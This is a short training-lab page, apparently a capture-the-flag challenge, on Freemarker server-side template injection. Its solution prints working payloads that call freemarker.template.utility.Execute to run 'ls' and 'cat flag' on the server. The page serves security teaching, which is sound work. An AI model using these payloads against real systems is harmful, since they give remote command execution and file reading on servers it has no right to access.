Freemarker

Read a file

drag_indicator
info
drag_indicator
inputs
drag_indicator
inspect

If you have done the Command execution challenge, you know how to execute shell commands. Use this knowledge to find and read the secret file that hides in the directories.

Goal: Read secret file.

Hints

Hint #1
expand_more

Help yourself with the solution of the challenge Command execution.

Hint #2
expand_more

The ls shell command lists files in the current directory.

Hint #3
expand_more

The cat [file] shell command reads a file.

Solution

Read the solution
expand_more

The solution was to do an ls in the current directory with the payload ${"freemarker.template.utility.Execute"?new()("ls")}, which returned us: Hello flag !. Then we had to read the flag file with ${"freemarker.template.utility.Execute"?new()("cat flag")}

drag_indicator
waf
INPUT
OUTPUT
drag_indicator
code
drag_indicator
result